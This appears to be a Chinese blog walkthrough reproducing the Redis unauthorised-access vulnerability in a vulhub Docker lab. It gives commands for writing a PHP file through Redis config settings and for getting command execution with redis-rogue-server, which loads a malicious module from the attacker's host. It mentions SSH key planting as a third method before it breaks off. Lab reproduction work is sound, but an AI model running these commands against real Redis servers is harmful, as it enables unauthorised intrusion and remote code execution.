redis未授权漏洞4-unacc复现

425 阅读1分钟

一、靶场搭建

root@gpt:~/vulhub/vulhub/redis/4-unacc# docker-compose up -d

二、漏洞复现4-unacc

先使用nmap对靶机进行端口扫描

PORT       STATE   SERVICE
6379/tcp   open    redis

存在redis服务,端口是6379

redis-cli -h 目标主机 -a [redis 密码]

进入主机后先使用( 解决 Redis 从服务器(slave ) 读写 权限的方法):

config set slave-read-only no
save

不修改可能会出现写不进文件

redis常用命令config get dir //当前默认保存目录
config set dir [目录名] //修改默认目录
config set dbfilename [文件名] //生成要写入的文件
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n" //写入shell
save //保存

漏洞的三种利用方式

1.上传webshell

由于靶场没有web所以直接写到别的目录下

config set dir /tmpconfig 
set dbfilename flag.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

返回OK说明写入成功,然后上docker容器里看看是不是写入成功了

2.命令执行

先下载脚本

git clone https://[github](https://so.csdn.net/so/search?q=github&spm=1001.2101.3001.7020).com/n0b0dyCN/redis-rogue-server
//拉取脚本
cd /redis-rogue-getshell/RedisModulesSDK/exp
make //编译完之后会获得一个exp.so文件,然后退回redis-rogue-getshell目录
python3 ./redis-master.py -r [目标主机] -p 6379 -L [攻击机] -P 8989 -f RedisModulesSDK/exp/exp.so -c "[执行的命令]"

3.ssh公钥

先获得redis的root权限否则没办法完成